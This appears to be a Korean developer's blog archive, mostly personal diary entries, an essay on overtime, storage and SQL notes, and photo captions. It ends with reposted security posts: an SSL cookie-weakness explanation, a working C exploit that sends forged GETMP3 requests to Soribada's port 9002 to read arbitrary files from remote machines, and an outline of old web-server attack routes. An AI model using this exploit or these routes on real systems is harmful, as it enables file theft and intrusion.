Pleasure resort of Gleam™

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20131118 잡소리..??

Diary2013.11.18 15:19

눈이 온다.
많이는 아니고...... 눈발이 날리는 정도..
괜히 센치해져서 적는 잡소리......
아니 사실 일하기 싫어서 인지도......


간만에 블로그에 글을 적는다.
정말 오랜만에 적는다..
이글 앞에 썼던 글이 2010-08-27에 적은 것이니 3년이 넘었다.
사실 글 쓸려고 로긴 할려다 아이디 조차 생각 나지 않아 한참 해멨다.


마땅히 다른데 쓰기도 애매해서 여기 적는다.
페북이나 트윗터는 넘 공개되어 있고, 와서 볼 만한 사람들이 많다.
사실 와서 보는 사람이 있는지는 모르겠고, 와서 봐도 상관은 없지만..
쫌 그렇다. 괜히 찜찜하다.
여긴 한동안 관리를 안 했으니 들어와 보는 사람도 없겠지......


한동안 정신 없이 살았다.
그냥 이런저런 일이 바빴다.
왜 바빴는지는 잘 모르겠다. 그냥 바쁘게 살아온 것 같다.


올해는 참 일이 많았다.
설 지낸 것이 엊그제 같은데.. 어느새 추석이 지나고 눈이 내린다.
내 기억이 맞는다면 첫눈이겠지......
(
첫눈.. 근데.. 봄 되기 전에도 내렸으니 첫눈은 아니지 않나 싶다. 아닌가? 우리나라 말은 넘 어렵다.)


여자 친구란 사귀다가 결혼 직전에 헤어졌고,
미혼이던 지인들과 사촌동생들은 결혼 했으며,
(
올해는 결혼식이 특히 많았던 거 같다. 나도 결혼 할 수 있었는데.. .)
사업한답시고 까불다 빚만 잔뜩 졌다.
그러는 사이 사람을 잃어버렸다.


문득 이게 머 하는 짓인가 하는 생각이 든다.
사실 지금도 할 일은 많다. 해야만 하는 일도, 하고 싶은 일도....
해야 할 일들은 하기가 싫다.
하고 싶은 일은 돈도 없고 시간도 없으니, 머리 속에만 머문다.


글 쓰는 동안 눈이 폭설로 바뀌었다.
파견 나와 있는 곳의 고객 사 직원이 폭설 오네요란다.
폭설 오네요라고 적는 동안 또 그쳤다. 날씨가 미쳐 돌아 간다.
세상이 미쳐 가니 날씨도 미쳐가는 걸까?


나는 개발자다.
어느새 개발로 밥 벌어 먹고 산지 11년 째다.
정말 오래 해먹었다.


물론 나보다 경력 많고, 나이도 많으신 분들도 많지만......
내 나이 대에서 나보다 경력 많은 사람은 없다.
이건 확실하다. 난 고등학교 졸업하자마자 일했으니,
같은 나이에서 나보다 경력이 많을 수는 없다.


아무튼 오래 하다 보니 앞으론 멀 해서 먹고 살아야 할 지 막막하다.
아니 어떻게 먹고 살아야 할 지 라고 해야 하나?


요즘에 기술 트랜드도 모르겠고, 앞으로의 트랜드는 더 모르겠고,
기술자이다 보니 먼가 계속 하긴 해야 하는데......
언제까지 구시대의 유물(?) 만 가지고 살 수는 없는데......


HTML5, CSS 3.0, BIG DATA, Virtualization, Cloud... 주워 듣는 건 많다.
근데...... 그래서 어쩌라고???
SI
시장에서는 아직 많은 부분이 이전과 동일한 방식으로 개발되고 있고,
간혹 신기술 찾는 곳이 있긴 하지만, 그런 곳에선 경험 없다고 안받아 준다.
현실은 참 답답하다.


사업도 마찬가지다.


난 프리랜서 개발자 생활을 오래 했다.
한곳에 정착하지 못했다.
흔히 얘기하듯 스펙이 딸려서 이기도 하고,
돈을 쫒아 사느라 그렇기도 했다.
사실 같은 일 하고 돈 더 준다면, 그리로 가는 게 맞지 않나? 아닌가?


올해 삽질 하고, 얼마 전부터 다른 사람들과 다시 회사를 차리려고 준비 중이다.
그런데, 이사람 들도 참 답답하다.
영업이 안 된다. 나보고 영업 하란다. 난 개발자 인데?
현재 사무실이 주안에 있다. 강남으로 옮기자 했더니 강남은 너무 멀단다. ......


참 대책이 없다.
여러 가지로 힘들다.


고객 사 직원이 자기네 본사 직원이 보낸 메일에 대신 답장을 해달란다.
그것도 영어로 써야 하는 메일이다.
하기 싫은데...... 본인도 하기 싫은 걸 왜 나한테 하라는 걸까?
난 고졸이고 자긴 대졸이자나!!! 고졸보단 대졸이 낳지 않아??


그래도 이니까...... ‘이 까라면 까야지......
담배나 한데 피고 일해야겠다.


나머지는 나중에......


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정말 오랜만에 블로그에 로긴 하는 것 같다. 그 동안 먹고 살기도 바빴고…… 
이래저래 신경 쓸 것도 많은데다가 글재주가 좋은 것도 아니라 마냥 쳐 박아두고 있었던 것 같다.

현재 진행중인 프로젝트는 막바지에 다다라서.. 할일 없고 심심한 와중에……
(모든 플젝이 이렇다는 건 아니다.. 더군다나 지금도 나만 빼고 다들 바쁜 듯 하다. -_-;;)
왕멀님의 글(http://wangmul.egloos.com/3403296)을 보고,,,, 한마디 적어본다.
어디 까지나 사견일 뿐이고, 짧은 경험과 부족한 글재주로 쓴 글일 뿐이니……
충고, 조언은 고맙게 받겠지만, 비판, 비난은 사양이다. -_-;;

각설하고.. 난 SI업계에서일하고 있는 개발자다.(아니 코더라는 말이 더 맞을지도..)
고등학교를 졸업하고.....
어찌어찌 하여 그나마 관심 있고 좋아라 하던 컴퓨터와 관련된 직업을 찾다가
입사한 웹 에이전시를 시작으로 개발자로써 벌서 10년 가까이 살고 있다.

개발자와 야근…… 
땔래야 땔 수 없는 관계인 듯 하다.
특히나 나처럼 좋아서 시작한 경우에는 말이다.
그저 재미 있고 좋아하기 때문에 시작했고,
지금도 혼자만의 재미에 빠져 하얗게 날을 지새울 때가 얼마나 많은지……

그렇지만 회사의 강요 때문에 야근을 하고, 밤을 새운다는 건…… 글세…… 
그건 좀 아닌 듯 하다. 물론 마감이 다가오고, 납기일을 맞추기 위해 어쩔 수 없이 야근하는 경우는 있다. 또 모두가 야근 하기에 분위기에 휩쓸려서…… 혹은 야근 안 하면 자르겠다는 협박에 못 이겨 야근하는 경우도 있다.

하지만 굳이 야근을 해야 할까?
개발자라면 다들 야근 경험들이 있으실 테니 알 것이다.
야근한다고 프로그램이 납기에 맞춰서 완성이고, 버그 없이 동작하는 프로그램을(아니 버그 없는 프로그램은 없으니.. 최소한 고객이 원하는 프로그램을) 납품할 수 있는가?
그간의 경험에 의하면 절대 아니다.
오히려 야근을 하면 할수록 개발 퍼포먼스는 떨어지고, 프로그램은 점점 스파게티 코드로 뒤덮여 버그투성이가 되어간다.
또한 야근 한다고 남아서 저녁 먹고, 일하는 시간이 과연 몇 시간이나 될까?
그럴 바엔 그냥 퇴근 하는 것이 낳지 안을까?

야근이 무조건 나쁘다는 건 아니다.
정말로 즐거워서 혹은 하고 있는 일의 흐름이 끊기지 않게 하기 위해 야근을 하는 것은 찬성이다.
나도 그런 야근은 많이 한다.
회사일 때문이면 회사에서 하고, 자기개발을 위한 건 집에서 한다.

전에 선배 개발자 분이 ‘하루에 한 사람이 정말로 일 하는 시간이 몇 시간이나 될까? 보통 3~4시간이면 많이 하는 거다!’라고 말해 주셨다.
사실 첨 얘기를 들을 때만 해도……
‘이건 아닌데……’ 하는 생각을 했었다.
하지만 시간이 지나고, 지금 생각해보면 참 맞는 말이다.
이런 거 저런 거 하는 시간 다 빼고 순수하게 근무에만 집중하는 시간은 고작 3~4시간 정말 많아 바야 5~6시간뿐이니……

'일의 노예'… 한국의 IT개발자가 사는 법(http://www.pressian.com/article/article.asp?article_num=30100810150825)
참 오래된 이야기다.
개발자 생활을 시작 한지 얼마 안되어서 듣기 시작한 이야기가 아직까지 이어지고 있다.
강산이 한번(아니 이젠 여러 번일지도……) 변할 만큼 긴 시간 동안 이어져온 이 악습을 이제는 끊어야 하지 않을까?

노예가 되기 싫다면 본인부터 바뀌어야 하지 않을까? 당당하게 “야근 못 하겠습니다!”라고 왜 이야기 하지 못할까?

일정이 문제라고? 위에도 적었지만 야근한다고 일정 지켜지지 않는다. 말도 안 되는 일정이라면 일정을 다시 새워야 할 것이고, 그렇지 안다면 (관리자가 무능력하지 않다면, 말도 안 되는 일정은 거의 없다.) 
본인의 능력을 키워라. 스스로 주어진 일정 내에서 ‘강제’로 하는 야근을 하지 않도록
본인이 할 수 있는 업무의 범위를 확인하고, 부족한 부분을 채워 나가라.
딴짓은 일이 끝나고 해라. 자기일 끝나고 딴짓하는 거 머하고 할 사람은 없다고 생각한다.
(업무 시간 중에 딴짓 하면서 시간 없다고 하는 건 정말 아니지 않나?)
그러면 야근하는 시간이 줄어들 것이고 어느새 야근을 하지 않아도 시간이 남아돌 것이다.

회사에서 잘리기 싫다고?
SI업종에 일하면서 플젝 중간에 사람을 교체할 수 있을까?
내 경험상 교체 본인의 완강한 사퇴 의사가 있거나 심각한 문제가 있지 않은 이상 교체는 거의 불가능하다.
그건 ‘갑’사(社) 에서도 원하지 않고, 회사입장에서도 마이너스다.

위에서 눈치 준다고?
그럼 프로젝트 도구를 도입하던가 하다못해 업무일지라도 열심히 써서 자신이 한 것을 알려라.
개발자가 하는 일이 먼지도 모르겠고, 컴퓨터 앞에 앉아서 마냥 노는 것처럼 보이는데 퇴근까지 일찍 한다고 하니 눈치를 주는 게 아닌가?
자신이 한일을 문서화 하고, 정확한 수치와 함께 관리자에게 보고하면 누가 머라고 할 것인가?
(가끔 정말 재수없는 PM도 있다. 그럼 그만 둬야지 머...... 근데 그렇다고 그만 둔다고 하면 꼭 붙잡더라……)

써놓고 보니 참 주저리주저리 많이도 썼다.
결론은 보여주기 위한 야근은 제발 그만 하자! 그리고 그를 위해 자기개발을 게을리 하지 말자는 거다.
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Comment +5

  • 힘내세요 개발자님 다른 한쪽에서 야근하는 디자이너도 있답니다. ㅜㅗㅜ

  • 야근수당도 안주면서 야근을 강요하는 회사도 싫고 그걸 강요하는 관리자도 싫고 그걸 감내하는 개발자도 싫고...!!

    ㅡㅅ-); 칼퇴하려해도 눈치보이고... ㅠㅅ-); 고객이 야근을 확정지어 말하는 곳도 있지요... 여근비 야식비 주는 것도 아니면서..

  • 멍멍 2010.12.11 03:36 신고

    저는 이제 6개월차 개발자 입니다... 개발자라고 칭하기엔 초보적인 수준인데 사장한테 일못한다고 욕무지 먹고 맨날 야근합니다... 제대로된 사수도 없고 기획자도 없는데 사장이 기획과 영업을 다하는데.. 기획은 맨날 바뀌고 맨날 아이디어 생각해오라하고 생각해서 보여주면 이건 저렇고 이렇게 하라고..... 코드짜는거에 전념하면 좀더 나을거같은데 .. 바쁘니 복사 붙여넣기하는 코드만 늘어가고... 작은회사라 더그런지도... 사장이 프로그램 모르지만 속도가 왜그렇게 느리냐고 맨날 타박... 아이디어만 나오면 탁탁 찍어내면 되는줄 아는사장.... 회사 비전이 좋아서 있긴한데.. 마땅히 갈곳도 없고... 요즘들어서는 왜그렇게 코드 짜는게 늦냐면서.. 자기가 시키는데로 코드짜라고 이젠 코드 짜는 방식까지 강요합니다... 맨날 바쁘다고 빨리 짜라고 하지.. 전 빨리 보여주기위해서 바쁘게 만드니 제대로 된 코드가 나올리 없고.. 물론 실력이 좋으면 바로바로 하겠지만.. 이제 6개월차한테 게임 개발을 첨부터 끝까지 기획도 제대로 없는걸 하라니.... ㅠㅠ 솔직히 요즘들어선 그만두고싶네요.. 코드짜는게 재밌긴한데.. 이런건 제가 생각한거랑 너무 거리가 먼.. 큰회사로 다시 알아봐야되나.. 나가려고 해도 6개월 고작해놓고 나갈라니 경력에 흠갈거같고 고민되네요.. ㅠㅠㅠㅠ

Openfiler

Dev & Mng2009.03.28 16:26

Openfiler는 LInux 기반의 iSCSI Storage Appliance Software이다.
일반적으로 스토리지 업체에서 제공하는 하드웨어 기반 iSCSI 솔루션에 비해 부족함이 없지 않겠지만, 상대적으로 굉장히 저렴한 비용과 편리한 설정과 관리가 가능하다는 장점이 있다.

물론 찾아 보면 다른 솔루션들도 많이 있지만 테스트 해본 것들 중 가장 안정적인 것 같다.



홈페이지: http://www.openfiler.com/
다운로드: http://www.openfiler.com/community/download



참고 자료
openfiler iSCSI Storage - 1.Install
openfiler iSCSI Storage - 2.Configuration
openfiler iSCSI Storage - 3.Microsoft iSCSI Initiator

http://en.wikipedia.org/wiki/Openfiler



다음에는 WIndows 2008 Hyper-V 서버에 Openfiler를 구성하고 사용하는 것에 대해 포스팅 할 계획이다.

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Allbog error in IE8

ETC.2009.03.25 09:24
올블 개발팀 리포트용 포스트.
나말고 다른 사람도 많이 리포트 했겠지만, 혹시나 하는맘에... 글고 마땅히 쓸곳도 없고.. 그래도 블로그가 가장 만만한...ㅋ

간만에 올블 홈페이지를 갔는데 Javascript에러가 난다.
환경은 XP Pro sp3 + IE8..

Windows 7 Besta 7000의 IE8 Besta에서는 오류가 없는데...;;

아래 이미지에 표시된 텝부분에 마우스 올리면 오류 메시지가 보임.
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집에서 나오는데.. 별이 솔이가 귀여운짓을 해서 한컷


E-500 | 1/10sec | F/3.5 | 54.0mm | ISO-100 | 0000:00:00 00:00:00

E-500 | 1/4sec | F/3.5 | 41.0mm | ISO-100 | 0000:00:00 00:00:00

E-500 | 1/4sec | F/3.5 | 45.0mm | ISO-100 | 0000:00:00 00:00:00

E-500 | 1/3sec | F/3.5 | 29.0mm | ISO-100 | 0000:00:00 00:00:00

E-500 | 1/3sec | F/4.5 | 28.0mm | ISO-100 | 0000:00:00 00:00:00




#1. 지들 사진찍는다고 놀다말고 쳐다보고 있는...;;
#2. 간만에 급하게 사진찍었더니 잘 안나온다. ㅠ.ㅠ
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While Loop를 사용하는 아래와 같은 쿼리가 있다.
(원래 Cursor를 사용 하던 쿼리였다.)
     SET NOCOUNT ON;
    SET XACT_ABORT ON;

    BEGIN TRAN                                                                              -- 트랜잭션 시작

    DECLARE @RegUser                 CHAR(8)
        SET @RegUser='20070073'

    DECLARE @iCnt                   INT             -- Loop 변수
          , @iTotalCnt              INT             -- 전체 데이터 수
          , @sPrevColGrp            VARCHAR(30)
     SELECT @iCnt=0, @iTotalCnt=0, @sPrevColGrp=''

    -- 임시 테이블 선언
    DECLARE @tbTmp TABLE (
        Idx                         INT             IDENTITY(1,1)
       ,ColGrp                      INT
       ,Col01                       VARCHAR(30)
       ,Col02                       VARCHAR(30)
       ,Col03                       VARCHAR(30)
       ,RegDate                     DATETIME        DEFAULT(GETDATE())
    )
    DECLARE @tbTmp2 TABLE (
        ColGrp                     INT
       ,ColGrpSeq                  INT
       ,RegDate                    DATETIME        DEFAULT(GETDATE())
    )

    INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('1', 5477)
    INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('2', 8901)
    INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('3', 9901)



    INSERT INTO @tbTmp (ColGrp, Col01, Col02, Col03)
    SELECT *
      FROM (
            SELECT '1' AS ColGrp, 'Col01_1' AS Col01, '' AS Col02, '' AS Col03
            UNION
            SELECT '2' AS ColGrp, 'Col01_2' AS Col01, '' AS Col02, '' AS Col03
            UNION
            SELECT '2' AS ColGrp, 'Col01_3' AS Col01, '' AS Col02, '' AS Col03
            UNION
            SELECT '3' AS ColGrp, 'Col01_4' AS Col01, '' AS Col02, '' AS Col03
            UNION
            SELECT '3' AS ColGrp, 'Col01_5' AS Col01, '' AS Col02, '' AS Col03
           ) A

    SELECT @iTotalCnt=COUNT(*) FROM @tbTmp                                                  -- 선택된 항목의 COUNT

    WHILE (@iTotalCnt>@iCnt)                                                                -- Loop 시작
    BEGIN
        SET @iCnt = @iCnt+1                                                                 -- Loop count 증가
        PRINT ('@iTotalCnt is ' + CAST(@iTotalCnt AS VARCHAR) + ', @iCnt is ' + CAST(@iCnt AS VARCHAR))

        IF (((SELECT ColGrp FROM @tbTmp WHERE Idx=@iCnt) <> @sPrevColGrp) OR (@sPrevColGrp = ''))
        BEGIN
            SELECT @sPrevColGrp = ColGrp FROM @tbTmp WHERE Idx=@iCnt

                INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq)
                SELECT A.ColGrp, (MAX(B.ColGrpSeq)+1) AS ColGrpSeq
                  FROM @tbTmp A
                  JOIN @tbTmp2 B
                    ON A.ColGrp = B.ColGrp
                 WHERE A.Idx =@iCnt
              GROUP BY A.ColGrp


            UPDATE @tbTmp
               SET Col02 =  A.Col01 + '_' + CAST(ISNULL( (SELECT MAX(ColGrpSeq) FROM @tbTmp2 WHERE ColGrp = A.ColGrp) , 1) AS VARCHAR)
              FROM @tbTmp A
             WHERE A.Idx>=@iCnt
        END

        UPDATE @tbTmp
           SET Col03 = (
                    A.Col01 + '_' + Col02 +'_' + CAST(Idx AS VARCHAR)
               )
          FROM @tbTmp A
         WHERE A.Idx=@iCnt
    END

    SELECT * FROM @tbTmp
    SELECT * FROM @tbTmp2
    ROLLBACK TRAN

원본 쿼리 실행 결과

원본 쿼리 실행 결과

원본 쿼리 통계

원본 쿼리 통계


이 쿼리에서 Loop를 제거하고 아래와 같이 만들었다.
    SET NOCOUNT ON;
    SET XACT_ABORT ON;
    BEGIN TRAN

    DECLARE @RegUser                 CHAR(8)
        SET @RegUser='20070073'

    DECLARE @iCnt                   INT             -- Loop 변수
          , @iTotalCnt              INT             -- 전체 데이터 수
          , @sPrevColGrp            VARCHAR(30)
     SELECT @iCnt=0, @iTotalCnt=0, @sPrevColGrp=''

    -- 임시 테이블 선언
    DECLARE @tbTmp TABLE (
        Idx                         INT             IDENTITY(1,1)
       ,ColGrp                      INT
       ,Col01                       VARCHAR(30)
       ,Col02                       VARCHAR(30)
       ,Col03                       VARCHAR(30)
       ,RegDate                     DATETIME        DEFAULT(GETDATE())
    )
    DECLARE @tbTmp2 TABLE (
        ColGrp                     INT
       ,ColGrpSeq                  INT
       ,RegDate                    DATETIME        DEFAULT(GETDATE())
    )

        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('1', 5477)
        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('2', 8901)
        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('3', 9901)



        INSERT INTO @tbTmp (ColGrp, Col01, Col02, Col03)
        SELECT *
          FROM (
                SELECT '1' AS ColGrp, 'Col01_1' AS Col01, '' AS Col02, '' AS Col03
                UNION
                SELECT '2' AS ColGrp, 'Col01_2' AS Col01, '' AS Col02, '' AS Col03
                UNION
                SELECT '2' AS ColGrp, 'Col01_3' AS Col01, '' AS Col02, '' AS Col03
                UNION
                SELECT '3' AS ColGrp, 'Col01_4' AS Col01, '' AS Col02, '' AS Col03
                UNION
                SELECT '3' AS ColGrp, 'Col01_5' AS Col01, '' AS Col02, '' AS Col03
               ) A

        SELECT @iTotalCnt=COUNT(*) FROM @tbTmp                                                  -- 선택된 항목의 COUNT

        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq)
        SELECT A.ColGrp, (MAX(B.ColGrpSeq)+1) AS ColGrpSeq
          FROM @tbTmp A
          JOIN @tbTmp2 B
            ON A.ColGrp = B.ColGrp
      GROUP BY A.ColGrp

        UPDATE @tbTmp
           SET Col02 =  A.Col01 + '_' + CAST(ISNULL( (SELECT MAX(ColGrpSeq) FROM @tbTmp2 WHERE ColGrp = A.ColGrp) , 1) AS VARCHAR)
          FROM @tbTmp A
         WHERE A.Idx>=@iCnt

        UPDATE @tbTmp
           SET Col03 = (
                    A.Col01 + '_' + Col02 +'_' + CAST(Idx AS VARCHAR)
               )
          FROM @tbTmp A


        SELECT * FROM @tbTmp
        SELECT * FROM @tbTmp2
    ROLLBACK TRAN


수정된 쿼리 실행 결과

수정된 쿼리 실행 결과

수정된 쿼리 통계

수정된 쿼리 통계



딱 봐도 속도가 많이 빨라졌다...ㅋ
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http://ansys.tistory.com/entry/jQuery-Intellisense-in-Visual-Studio-2008
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NTFAQ DNS FAQ
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내 웹 서비스에 얼마나 많은 사용자가 접속 하는가?
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인터넷 붕괴의 기술적 원인 분석
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IIS Lock Down과 URL Scan
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.. 이번엔 SSL 의 허와실이 아닌 실과허를 알아보겠습니다.
SSL 이란 Secure Socket Layer 의 약자로 웹에서 클라이언트와
서버가 정보를 주고 받을때 데이터를 암호화하여 전송하는 것을
말합니다. SSL 을 사용하면 해커가 패킷을 엿보게 되더라도 암호화되어
있어서 가지고 있어봤자 소용이 없습니다.

SSL 의 목적은 무엇일까요? SSL 그 자체는 서버의 보안성에 한단계
높이는 일을 하진 않습니다. 방화벽같이 특정 패킷을 차단하지도 않고
IDS 처럼 감시하지도 않죠.

단지, 해커가 사용자와 서버 사이의 데이터 패킷을 엿보는 것이 가능할때
엿보더라도 암호화 되어 있어서 아무것도 알수 없도록 하는 것이죠.

하지만 이 방법에는 약점이 있습니다. 보통 우리가 SSL 을 사용할때는
처음 로그인시에 ID 와 PASSWORD 를 확인할때만 주로 쓰이게 됩니다.
왜 전체에다가 SSL 을 쓰지 않냐면 속도도 느려질뿐만 아니라 감춰야 하는
데이터중 가장 큰 것은 password 같은 민감한 부분이기 때문입니다.

보안 접속과 일반 접속은 별 차이가 없습니다. 접속할때 전송하는 패킷이
암호화 되어있느냐 안되어있느냐에 차이가 있는 것이지 인증이 완료
된후에 클라이언트에 세팅하는 쿠키 값에는 보안 접속이나 일반 접속이나
차이가 없다는 이야기죠. (뭐 굳이 차이점이 있다면 보안 접속의 쿠키에는
'나 보안 접속했다' 라는 명시를 할수 있는 쿠키를 새로 하나 추가해
준다는 것정도)

그럼 어디서 취약점이 발생하느냐.. 위에서 제가 말씀드렸죠. 한번 더
말하겠습니다..

SSL 은 해커가 사용자와 서버 사이의 데이터 패킷을 엿보는 것이 가능할때
엿보더라도 암호화 되어 있어서 아무것도 알수 없도록 하는 것이죠.

id 와 password 만 암호화된 패킷일 뿐이지 서버가 우리에게 세팅해주는
쿠키값같은 것들은 보안접속이나 일반 접속이나 똑같습니다. 즉, 해커는
쿠키값만 가지고 원하고자 하는 나쁜짓을 할 수 있으므로 암호화 되서
날라간 id, password 를 못봤다고 해서 아쉬울게 없다는 이야기입니다.
(쿠키를 가지고 하는 해킹에 대해서는 제가 다른 문서에서 이미 많이
설명을 하였습니다. 읽어보시길..)

이런 방법의 보안 접속은 겉포장만 잘 쌓여져 있는 것입니다.. 앞으로
많은 체계 개선이 필요할 것입니다.

주로 메일 서비스를 하는 곳에서 이러한 취약성이 드러나 있습니다.

그럼 이만.. 모두 빠빠이.. 아.. 이제 자야지..

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안녕하세요.

(먼저 이 문서를 보고 악의적인 행동을 할시에 일어나는 모든 행동은
저와 무관하다는 것을 명시함.)

소리바다의 취약점에 대해서 알아보겠습니다. 소리바다는 mp3 공유
프로그램으로 p2p 방식 입니다. peer to peer 로 사용자와 사용자를
연결하는 방식입니다.

소리바다를 사용시 진행되는 방식을 다음과 같습니다.

1. 소리바다 exe 프로그램 구동
2. 소리바다 로그인
3. 찾는 노래 키워드 검색
4. 소리바다에 연결된 다른 컴퓨터들한테 키워드 전송
5. 다른 컴퓨터들이 나에게 키워드에 맞는 정보를 보내줌
6. 정보를 토대로 다시 그 컴퓨터 접속하여 노래를 가져옴

이렇습니다.

예를 들어 우리가 A 컴퓨터를 이용하고 있고 TTL 이라는 노래를
검색한다고 하면 B 컴퓨터는 우리에게 TTL 에 맞는 정보를 보냅니다.

'나한테 TTL.mp3 가 있다. 이 파일은 c:\mp3\ttl.mp3 이고 파일 크기는
4000 이고 어쩌고 저쩌고 하다.'

우리는 이 정보를 토대로 다시 B 컴퓨터에 접속합니다.

'너의 c:\mp3\ttl.mp3 파일을 가지러 왔다. 내놔라'

이해를 쉽게하기 위해 실제로 우리가 B 컴퓨터 접속하여 어떻게
정보를 요청하는지 알아보겠습니다.

GETMP3
Filename: c:\mp3\ttl.mp3
PortM: 9004
Username: ffjfjfjfj

GETMP3 는 mp3 를 가져가겠단 의미이고 filename 은 경로입니다.
port 는 파일 전송에 이용할 포트를 뜻하는것 같고 username 은
소리바다 id 를 말합니다.

실질적으로 이런 내용이 전송되는 포트는 목적지 컴퓨터의 9002 포트
번호입니다. 소리바다를 실행하면 9002 포트가 열리게 되어있죠.

우리가 위와 같은 내용을 상대방에게 전달할때 Filename 을 임의로
조작한다면 우리가 원하는 파일을 가져올수 있습니다. 예를 들자면

GETMP3
Filename: c:\autoexec.bat
PortM: 9004
Username: ffjfjfjfj

이렇게 보내면 되겠죠?

위의 이야기를 보고 의문이 가시는 분도 있을 겁니다.

'그럼 검색키워드에 그냥 autoexec 로 검색하면 B 컴퓨터가
c:\autoexec.bat 파일의 정보를 나한테 보내주지 않나?'

아닙니다. 소리바다 설정 메뉴중 공유할 폴더를 선택하는 부분있죠?
그 폴더 안에 있는 것들중 mp3 만 검색을 하기 때문에 보내주지 않습니다.

이와 유사한 프로그램은 이런 류의 버그가 많습니다. 명령어 실행이라든지
여러가지를 조작할수가 있죠. 거의 모든 국내 프로그램들이 말이죠..
대단한 기술은 아니지만 해킹은 창의적이기 때문에 이런 간단한 방법으로도
해킹이 가능합니다.

exploit 을 같이 첨부하겠습니다. exploit 에서 쉘코드처럼 보이는 것은
쉘코드가 아니라 위에서 말한 GETMP3 이런 것들입니다. 그냥 고치기 귀찮
아서 패킷 그대로 옮겨적었습니다.. 소스가 굉장히 지저분합니다. 양해
해주세요. 만약 일반 txt 형 파일이 아닌 2 진 파일을 받을 경우에는
소스를 수정해야 할 겁니다. (exploit에 overflow 취약점이 있군요.. 캬캬)

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 9002
main (int argc, char *argv[]) {
char cmd[500]=
"\x47\x45\x54\x4d\x50\x33\x0d\x0a\x46\x69\x6c\x65\x6e\x61\x6d\x65\x3a\x20";
int sockfd, a=strlen(cmd), b, count, bbb;
char cmd2[]=
"\x0d\x0a\x50\x6f\x72\x74\x4d\x3a\x20\x39"
"\x30\x30\x34\x0d\x0a\x55\x73\x65\x72\x6e\x61\x6d\x65\x3a\x20"
"\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x61\x6b\x6e"
"\x0d\x0a\x0d\x0a";
char buf[1000];
struct hostent *he;
struct sockaddr_in their_addr;

if(argc<4) {
printf("usage: %s drivename filename targetip\n\n", argv[0]);
printf("ex> %s c autoexec.bat beist.org\n", argv[0]);
printf("ex2> %s c document\\haha.txt beist.org\n\n", argv[0]);
printf("made by beist. http://beist.org, beist@hanmail.net\n");
printf("the best cf model of korea is Eun-Kyung Im (TTL)\n");
printf("Wowcode Team in WOWhacker.com\n");
exit(-1);
}

if(strlen(argv[1]) >1) {
printf("드라이브 명을 정확히 입력하세요.\n");
exit(-1);
}

if ((he=gethostbyname(argv[3])) == NULL) {
herror("gethostbyname");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8);
if (connect(sockfd, (struct sockaddr *)&their_addr, \
sizeof(struct sockaddr)) == -1) {
perror("connect");
exit(1);
}
cmd[a++]=argv[1][0];
cmd[a++]='\x3a';
cmd[a++]='\x5c';
b=strlen(argv[2]);
for(count=0;count<b;count++)
cmd[a++]=argv[2][count];
strcat(cmd, cmd2);
send(sockfd, cmd, strlen(cmd), 0);
recv(sockfd, buf, 1000, 0);
for(bbb=0;bbb<strlen(buf);bbb++)
printf("%c", buf[bbb]);
sleep(2);
recv(sockfd, buf, 1000, 0);
for(bbb=0;bbb<strlen(buf);bbb++)
printf("%c", buf[bbb]);
printf("당신이 보낸 명령어 : \n%s", cmd);
}

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웹 해킹의 유형

(수정중인 작업이다.)

웹 해킹의 유형에 대해서 크게 나누어 보았다. 말 그대로 크게
나눈 것이고 실제로 웹 해킹에는 많은 변수가 있다. 상황마다 틀리다.
해킹은 창의성이 생명이다.

linux 일 경우
-1-
일단계. 게시판으로 파일을 업로드한다.
이단계. 업로드한 파일을 이용하여 자신의 컴퓨터로 term 을 display
시킨다.
삼단계. Nobody (주로 그렇다.) 권한의 쉘을 이용하여 로컬에서
루트 따는 것을 시도한다.

-2-
일단계. 버그를 가진 게시판을 이용해 passwd 파일을 보거나
중요 스크립트를 읽은 후 패스워드를 알아낸다.
이단계. 패스워드를 알아내면 할 수 있는 것들이 많아진다. 이를
이용하여 텀을 띄우기도 할 수가 있고, 페이지를 변경시킬
수도 있다.

-3-
일단계. 잘못된 cgi 스크립트를 찾는다.
이단계. 찾았다면 이를 이용해 passwd 파일을 보거나 중요 스크립트를
읽은 후 패스워드를 알아낸다.
삼단계. 패스워드를 알아내면 할 수 있는 것들이 많아진다. 이를
이용하여 텀을 띄우기도 할 수가 있고, 페이지를 변경시킬
수도 있다.

NT 일 경우
-1-
일단계. 유니코드 버그를 이용한다.
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.

-2-
일단계. Null.htw 버그를 이용한다.
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.

-3-
일단계. Msadc 버그를 이용한다.
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.

-4-
일단계. 게시판을 이용하여 파일을 업로드한다.
이단계. 파일에서 여러가지 조작을 가해 트로이성 프로그램을 실행시킨다.
삼단계. 트로이성 프로그램의 기능을 이용하여 시스템을 제어할 수 있다.

-5-
일단계. %cc, +.htr 등을 이용한다
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.

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얼마전 부터 대부분의 작업을 VirtualMachine(이하 VM)에서 하고 있다.
VM을 사용하는것이 편하다.
사용하고 있는 메인 OS(Operating System)을 바꾸기도 쉽고, 용도별로 VM을 만들어 두면 프로그램간에 충돌도 적고...
어쨌든...

새로 옮긴 회사의 업무상 Visual Studio 2005(이하 VS2K5)를 사용할 일이 있어서...
